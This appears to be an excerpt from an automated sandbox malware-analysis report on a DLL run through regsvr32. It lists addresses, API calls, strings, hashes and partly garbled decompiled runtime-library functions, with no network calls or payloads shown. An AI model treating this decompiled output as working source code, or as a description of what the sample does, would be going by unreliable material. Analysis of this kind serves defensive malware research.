0x7ffe354e8c32
0x7ffe354e8c3d
0x7ffe354e8c4a
0x7ffe354e8c55
0x7ffe354e8c62
0x7ffe354e8c6d
0x7ffe354e8c7a
0x7ffe354e8c81
0x7ffe354e8c8e
0x7ffe354e8c95
0x7ffe354e8ca2
0x7ffe354e8ca9
0x7ffe354e8cb6
0x7ffe354e8cbd
0x7ffe354e8ccd
0x7ffe354e8cd4
0x7ffe354e8cd6
0x7ffe354e8ce3
0x7ffe354e8ced
0x7ffe354e8cef
0x7ffe354e8cf2
0x7ffe354e8cf8
0x7ffe354e8cf8
0x7ffe354e8cfb
0x7ffe354e8d00
0x7ffe354e8d09
0x7ffe354e8d0e
0x7ffe354e8d13
0x7ffe354e8d15
0x7ffe354e8d18
0x7ffe354e8d21
0x7ffe354e8d21
0x7ffe354e8d25
0x7ffe354e8d2f
0x7ffe354e8d34
0x7ffe354e8d40
0x7ffe354e8d46
0x7ffe354e8d4b
0x7ffe354e8d4d
0x7ffe354e8d52
0x7ffe354e8d58
0x7ffe354e8d5d
0x7ffe354e8d63
0x7ffe354e8d69
0x7ffe354e8d6f
0x7ffe354e8d71
0x7ffe354e8d77
0x7ffe354e8d79
0x7ffe354e8d7d
0x7ffe354e8d81
0x7ffe354e8d84
0x7ffe354e8d93
0x7ffe354e8d95
0x7ffe354e8d9c
0x7ffe354e8da1
0x7ffe354e8dab
0x7ffe354e8dad
0x7ffe354e8db0
0x7ffe354e8db2
0x7ffe354e8db4
0x7ffe354e8dbb
0x7ffe354e8dc5
0x7ffe354e8dcd
0x7ffe354e8dd6
0x7ffe354e8de0
0x7ffe354e8df1
0x7ffe354e8df6
0x7ffe354e8dff
0x7ffe354e8e10
0x7ffe354e8e15
0x7ffe354e8e1e
0x7ffe354e8e2f
0x7ffe354e8e31
0x7ffe354e8e34
0x7ffe354e8e42
0x7ffe354e8e44
0x7ffe354e8e46
0x7ffe354e8e4c
0x7ffe354e8e54
0x7ffe354e8e62
0x7ffe354e8e64
0x7ffe354e8e66
0x7ffe354e8e69
0x7ffe354e8e6a
0x7ffe354e8e6c
0x7ffe354e8e6e
0x7ffe354e8e78
0x7ffe354e8e83
0x7ffe354e8e8c
0x7ffe354e8e97
0x7ffe354e8ea0
0x7ffe354e8eab
0x7ffe354e8eb4
0x7ffe354e8ebf
0x7ffe354e8ec8
0x7ffe354e8ed3
0x7ffe354e8ee0
0x7ffe354e8eeb
0x7ffe354e8ef8
0x7ffe354e8eff
0x7ffe354e8f0c
0x7ffe354e8f13
0x7ffe354e8f20
0x7ffe354e8f27
0x7ffe354e8f34
0x7ffe354e8f3b
0x7ffe354e8f52
0x7ffe354e8f59
0x7ffe354e8f63
0x7ffe354e8f6e
0x7ffe354e8f70
0x7ffe354e8f73
0x7ffe354e8f79
0x7ffe354e8f79
0x7ffe354e8f7c
0x7ffe354e8f81
0x7ffe354e8f86
0x7ffe354e8f8e
0x7ffe354e8f93
0x7ffe354e8f99
0x7ffe354e8f9b
0x7ffe354e8fbd
0x7ffe354e8fc4
0x7ffe354e8fcd
0x7ffe354e8fd2
0x7ffe354e8fd7
0x7ffe354e8fdf
0x7ffe354e8fdf
0x7ffe354e8fe3
0x7ffe354e8feb
0x7ffe354e8ff1
0x7ffe354e8ff6
0x7ffe354e8ff8
0x7ffe354e8ffd
0x7ffe354e9003
0x7ffe354e900c
0x7ffe354e900e
0x7ffe354e9012
0x7ffe354e9018
0x7ffe354e901a
0x7ffe354e901f
0x7ffe354e9024
0x7ffe354e902a
0x7ffe354e902a
0x7ffe354e9032
0x7ffe354e9038
0x7ffe354e903e
0x7ffe354e9043
0x7ffe354e9045
0x7ffe354e904a
0x7ffe354e904e
0x7ffe354e9056
0x7ffe354e9060
0x7ffe354e9065
0x7ffe354e9067
0x7ffe354e906d
0x7ffe354e9072
0x7ffe354e9077
0x7ffe354e907d
0x7ffe354e9082
0x7ffe354e9087
0x7ffe354e908d
0x7ffe354e9093
0x7ffe354e9097
0x7ffe354e909e
0x7ffe354e90a3
0x7ffe354e90c2

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE354E8980
_invalid_parameter_noinfo.LIBCMT ref: 00007FFE354E8D58
_invalid_parameter_noinfo.LIBCMT ref: 00007FFE354E9003

Strings

-, xrefs: 00007FFE354E8A16
f, xrefs: 00007FFE354E8AA2
p, xrefs: 00007FFE354E8AAA
0, xrefs: 00007FFE354E8DA8
p, xrefs: 00007FFE354E8A32

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$0$f$p$p
API String ID: 3215553584-1865143739
Opcode ID: 3bf02160523cc795b8287601120242312cc0e9fc0a46e7f1dbb3d85bfcf254c4
Instruction ID: 855db03802498bc9b4392990049df69246653a2f4f1eb6dc46a0840ca7ecf379
Opcode Fuzzy Hash: 3bf02160523cc795b8287601120242312cc0e9fc0a46e7f1dbb3d85bfcf254c4
Instruction Fuzzy Hash: 9312B271E1934386FF289A14D04C6797A62FBD0F54FA64131E68B467E8DF3DE580AB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F2FA0 Relevance: 13.7, APIs: 9, Instructions: 181COMMON

Download Yara Rule

APIs

CreatePen.GDI32 ref: 00007FFE354F2FCD
SelectObject.GDI32 ref: 00007FFE354F2FE5
Polyline.GDI32 ref: 00007FFE354F3230
MoveToEx.GDI32 ref: 00007FFE354F325C
LineTo.GDI32 ref: 00007FFE354F3285
MoveToEx.GDI32 ref: 00007FFE354F32B1
LineTo.GDI32 ref: 00007FFE354F32DA
SelectObject.GDI32 ref: 00007FFE354F32ED
DeleteObject.GDI32 ref: 00007FFE354F32F8

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Object$LineMoveSelect$CreateDeletePolyline
String ID:
API String ID: 1917832262-0
Opcode ID: 43512701d7355e0956f5cb1433a41ae321c0b5e41867a7adc5de44204bc134c7
Instruction ID: 20ad3f023b429a2901925692f5b47789261b8c28ea60d8cefc1441ff1e901b15
Opcode Fuzzy Hash: 43512701d7355e0956f5cb1433a41ae321c0b5e41867a7adc5de44204bc134c7
Instruction Fuzzy Hash: 0B911176608B458BDB65CB28E05532AFBA5F7C8B44F104226DACE93B68DF3CE5458F00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354ED8F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00007FFE7FFE354ED8F0(void* __ecx, long long __rbx, void* __rdx, long long __rsi, intOrPtr* __r8, void* __r9) {
				void* _t34;
				signed long long _t51;
				intOrPtr _t56;
				signed long long _t69;
				void* _t74;
				signed long long _t75;
				signed long long _t80;
				long long _t82;
				void* _t86;
				signed long long _t90;
				signed long long _t91;
				WCHAR* _t93;
				long _t96;
				void* _t99;
				WCHAR* _t104;

				 *((long long*)(_t86 + 8)) = __rbx;
				 *((long long*)(_t86 + 0x10)) = _t82;
				 *((long long*)(_t86 + 0x18)) = __rsi;
				r15d = __ecx;
				_t90 =  *0x3555e008; // 0x77c614500e1
				_t75 = _t74 | 0xffffffff;
				_t69 = _t90 ^  *(0x7ffe354e0000 + 0x7f840 + _t104 * 8);
				asm("dec eax");
				if (_t69 == _t75) goto 0x354eda36;
				if (_t69 == 0) goto 0x354ed959;
				_t51 = _t69;
				goto 0x354eda38;
				if (__r8 == __r9) goto 0x354eda1b;
				_t80 =  *((intOrPtr*)(__r8));
				_t56 =  *((intOrPtr*)(0x7ffe354e0000 + 0x7f7a0 + _t80 * 8));
				if (_t56 == 0) goto 0x354ed980;
				if (_t56 != _t75) goto 0x354eda75;
				goto 0x354eda07;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t99, _t96);
				if (_t51 != 0) goto 0x354eda55;
				GetLastError();
				if (_t51 != 0x57) goto 0x354ed9f5;
				r8d = _t34;
				E00007FFE7FFE354EF5B0(_t90);
				if (_t51 == 0) goto 0x354ed9f5;
				r8d = _t34;
				E00007FFE7FFE354EF5B0(_t90);
				if (_t51 == 0) goto 0x354ed9f5;
				r8d = 0;
				LoadLibraryExW(_t93, _t74);
				if (_t51 != 0) goto 0x354eda55;
				 *((intOrPtr*)(0x7ffe354e0000 + 0x7f7a0 + _t80 * 8)) = _t75;
				if (__r8 + 4 != __r9) goto 0x354ed962;
				_t91 =  *0x3555e008; // 0x77c614500e1
				asm("enter 0xd348, 0xcf");
				 *(0x7ffe354e0000 + 0x7f840 + _t104 * 8) = _t75 ^ _t91;
				return r8d;
			}

0x7ffe354ed8f0
0x7ffe354ed8f5
0x7ffe354ed8fa
0x7ffe354ed90c
0x7ffe354ed927
0x7ffe354ed92e
0x7ffe354ed938
0x7ffe354ed940
0x7ffe354ed946
0x7ffe354ed94f
0x7ffe354ed951
0x7ffe354ed954
0x7ffe354ed95c
0x7ffe354ed962
0x7ffe354ed965
0x7ffe354ed970
0x7ffe354ed975
0x7ffe354ed97b
0x7ffe354ed98d
0x7ffe354ed993
0x7ffe354ed99f
0x7ffe354ed9a5
0x7ffe354ed9ae
0x7ffe354ed9b6
0x7ffe354ed9c0
0x7ffe354ed9c7
0x7ffe354ed9c9
0x7ffe354ed9d6
0x7ffe354ed9dd
0x7ffe354ed9df
0x7ffe354ed9e7
0x7ffe354ed9f3
0x7ffe354ed9ff
0x7ffe354eda0e
0x7ffe354eda14
0x7ffe354eda27
0x7ffe354eda2e
0x7ffe354eda54

APIs

FreeLibrary.KERNEL32 ref: 00007FFE354EDA6F
GetProcAddress.KERNEL32 ref: 00007FFE354EDA7B

Strings

ext-ms-, xrefs: 00007FFE354ED9CC
api-ms-, xrefs: 00007FFE354ED9B9

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 0c6698adf364fca3294d1cea9b6c9e04e4170ebc5fe981ec924076e30e6001fe
Instruction ID: 2cbc4d89bf3ecc02a9de58cc08fc7cc730b056d627971b3b7674c02c9aefa1ae
Opcode Fuzzy Hash: 0c6698adf364fca3294d1cea9b6c9e04e4170ebc5fe981ec924076e30e6001fe
Instruction Fuzzy Hash: DE41E432B19B0391FB1A9B16A8081752A92BF85FE0F5A4639CD1E477A4EE3CF541A300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EB8D4 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFE354EB8E3
FlsGetValue.KERNEL32 ref: 00007FFE354EB8F8
FlsSetValue.KERNEL32 ref: 00007FFE354EB919
FlsSetValue.KERNEL32 ref: 00007FFE354EB946
FlsSetValue.KERNEL32 ref: 00007FFE354EB957
FlsSetValue.KERNEL32 ref: 00007FFE354EB968
SetLastError.KERNEL32 ref: 00007FFE354EB983

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: eec7dff64ec5c52d9157cbd157dfbab6f6a7a87af12ff6c832096e5b6ec65f04
Instruction ID: 9ef5325da809f02f471b388fc76d953b02d776a5804c1cd12b3b27c258ad688f
Opcode Fuzzy Hash: eec7dff64ec5c52d9157cbd157dfbab6f6a7a87af12ff6c832096e5b6ec65f04
Instruction Fuzzy Hash: 18214C34E4E74746FA6C6722554D23A69525FC5FB0F264A38E97F077F6DE2CB4406200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F28C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FFE354F28F1
GetLastError.KERNEL32 ref: 00007FFE354F28FD
CloseHandle.KERNEL32 ref: 00007FFE354F2915
CreateFileW.KERNEL32 ref: 00007FFE354F2940
WriteConsoleW.KERNEL32 ref: 00007FFE354F295F

Strings

CONOUT$, xrefs: 00007FFE354F2921

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f8beb9e43c57309afe536eff65cc898a76b098485244b241a9a6a9293252ff3c
Instruction ID: abafcea07733fb80f16b63d53240bdf21246b1cbf849970ff018c782265f8d4b
Opcode Fuzzy Hash: f8beb9e43c57309afe536eff65cc898a76b098485244b241a9a6a9293252ff3c
Instruction Fuzzy Hash: 2911D331B18B4386EB508B56E8587297EA0FB88FE4F440234DA2E877B4DF3CE6048744

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EBA4C Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBA5B
FlsSetValue.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBA91
FlsSetValue.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBABE
FlsSetValue.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBACF
FlsSetValue.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBAE0
SetLastError.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBAFB

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 2fa0da27fe614c465e9bfeef243b6df5757a5299518a3d762b3cf139a2d538dd
Instruction ID: b1cf12b641e8d7c6bfd69a66fdc1b87957b035af61951a083dc6f343914203fa
Opcode Fuzzy Hash: 2fa0da27fe614c465e9bfeef243b6df5757a5299518a3d762b3cf139a2d538dd
Instruction Fuzzy Hash: B7115B30A4D74346FA2C6762995E1392A525FC4FA0F264A38D83F077F6DE2CB4416200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E9C24 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FFE354E9C49
GetProcAddress.KERNEL32 ref: 00007FFE354E9C5F
FreeLibrary.KERNEL32 ref: 00007FFE354E9C86

Strings

CorExitProcess, xrefs: 00007FFE354E9C58
mscoree.dll, xrefs: 00007FFE354E9C40

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b9ddca252de5587d32854ed20271dee5b9467b0203a57a46f89d53908150ef97
Instruction ID: 81b1993a849a5abee85a21b30cdbf5e0594c563f8ba3ff2e6b9454889fbf053d
Opcode Fuzzy Hash: b9ddca252de5587d32854ed20271dee5b9467b0203a57a46f89d53908150ef97
Instruction Fuzzy Hash: 2BF04F69A18B0391EF249B24A4583796B71EF89FA1F540235D96E453F4CF3CE244A300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EEB68 Relevance: 7.6, APIs: 5, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 71%

			E00007FFE7FFE354EEB68(signed int __ecx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				void* _t24;
				signed char _t25;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed long long _t38;
				signed long long _t39;
				signed int* _t47;

				_a8 = __rbx;
				_a16 = __rsi;
				_t38 = _t39 & 0x0000001f;
				_t47 = _t39;
				if ((__ecx & 0x00000008) == 0) goto 0x354eeb9a;
				if (sil >= 0) goto 0x354eeb9a;
				 *((intOrPtr*)(_t38 + 0x57ebf7e3)) =  *((intOrPtr*)(_t38 + 0x57ebf7e3)) + _t24;
				asm("adc [eax+0xf], ecx");
				 *((intOrPtr*)(_t38 + 0x3cebfbe3)) =  *((intOrPtr*)(_t38 + 0x3cebfbe3)) + _t24;
				_t29 = dil & 0x00000001;
				if (_t29 == 0) goto 0x354eebd1;
				asm("dec eax");
				if (_t29 >= 0) goto 0x354eebd1;
				 *((intOrPtr*)(_t38 + 0x20ebfee3)) =  *((intOrPtr*)(_t38 + 0x20ebfee3)) + _t24;
				_t30 = dil & 0x00000002;
				if (_t30 == 0) goto 0x354eebf1;
				asm("dec eax");
				if (_t30 >= 0) goto 0x354eebf1;
				_t31 = dil & 0x00000010;
				if (_t31 == 0) goto 0x354eebee;
				 *((intOrPtr*)(_t38 - 0x9bf021d)) =  *((intOrPtr*)(_t38 - 0x9bf021d)) + _t24;
				asm("invalid");
				if (_t31 == 0) goto 0x354eec0b;
				asm("dec eax");
				if (_t31 >= 0) goto 0x354eec0b;
				 *((intOrPtr*)(_t38 - 0x74b7101d)) =  *((intOrPtr*)(_t38 - 0x74b7101d)) + _t24;
				if (_t31 == 0) goto 0x354eec33;
				asm("rol byte [ebp+0x5c8b48db], 0x24");
				 *_t47 =  *_t47 ^ __ecx;
				asm("ror byte [eax-0x7d], 0xc4");
				 *(_t47 - 0x3d) =  *(_t47 - 0x3d) & _t25;
			}

0x7ffe354eeb68
0x7ffe354eeb6d
0x7ffe354eeb7c
0x7ffe354eeb7f
0x7ffe354eeb84
0x7ffe354eeb89
0x7ffe354eeb94
0x7ffe354eeba3
0x7ffe354eebaf
0x7ffe354eebb5
0x7ffe354eebb9
0x7ffe354eebbb
0x7ffe354eebc0
0x7ffe354eebcb
0x7ffe354eebd1
0x7ffe354eebd5
0x7ffe354eebd7
0x7ffe354eebdc
0x7ffe354eebde
0x7ffe354eebe2
0x7ffe354eebed
0x7ffe354eebf3
0x7ffe354eebf5
0x7ffe354eebf7
0x7ffe354eebfc
0x7ffe354eec07
0x7ffe354eec0d
0x7ffe354eec11
0x7ffe354eec18
0x7ffe354eec1b
0x7ffe354eec1f

APIs

_set_statfp.LIBCMT ref: 00007FFE354EEB90
_set_statfp.LIBCMT ref: 00007FFE354EEBAB
_set_statfp.LIBCMT ref: 00007FFE354EEBC7
_set_statfp.LIBCMT ref: 00007FFE354EEC03

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: fc2f76716917edeea79f2d35986c40ea1bb698eb9e2e32f596387757052cb74d
Instruction ID: 7d76428912a76d5eb67075b2c5e1026d7c051c7b14f22f91ae05494c935b10a5
Opcode Fuzzy Hash: fc2f76716917edeea79f2d35986c40ea1bb698eb9e2e32f596387757052cb74d
Instruction Fuzzy Hash: 1011C136E0CB9309F65C9168E49E37918506FD8F74E260634FA6F163F6CE2CA859A204

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EBB14 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB33
FlsSetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB52
FlsSetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB7A
FlsSetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB8B
FlsSetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB9C

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 8052eee4b0d8af64d03de27b504a711c4d5b3c24d31682e890b399a3a393ee09
Instruction ID: 3a702ed290a9a696b6dc9b91f4a2d0ff6553786c9f76564bcca2edd8d93e0881
Opcode Fuzzy Hash: 8052eee4b0d8af64d03de27b504a711c4d5b3c24d31682e890b399a3a393ee09
Instruction Fuzzy Hash: 97112C30E0D7474AFA5C5722695E27A69525FC4FA0F268A34D87F06BFAEE2CB4416300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EB9A8 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FFE354EB9B9
FlsSetValue.KERNEL32 ref: 00007FFE354EB9D8
FlsSetValue.KERNEL32 ref: 00007FFE354EBA00
FlsSetValue.KERNEL32 ref: 00007FFE354EBA11
FlsSetValue.KERNEL32 ref: 00007FFE354EBA22

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 42504d049ca0b81dd607a4491970e33291414fa471f24a262c13f0c89c120e85
Instruction ID: 8966452ed88ace2bad64d0b88d935233ebb31a5060e0c105ae5e637aee5e329e
Opcode Fuzzy Hash: 42504d049ca0b81dd607a4491970e33291414fa471f24a262c13f0c89c120e85
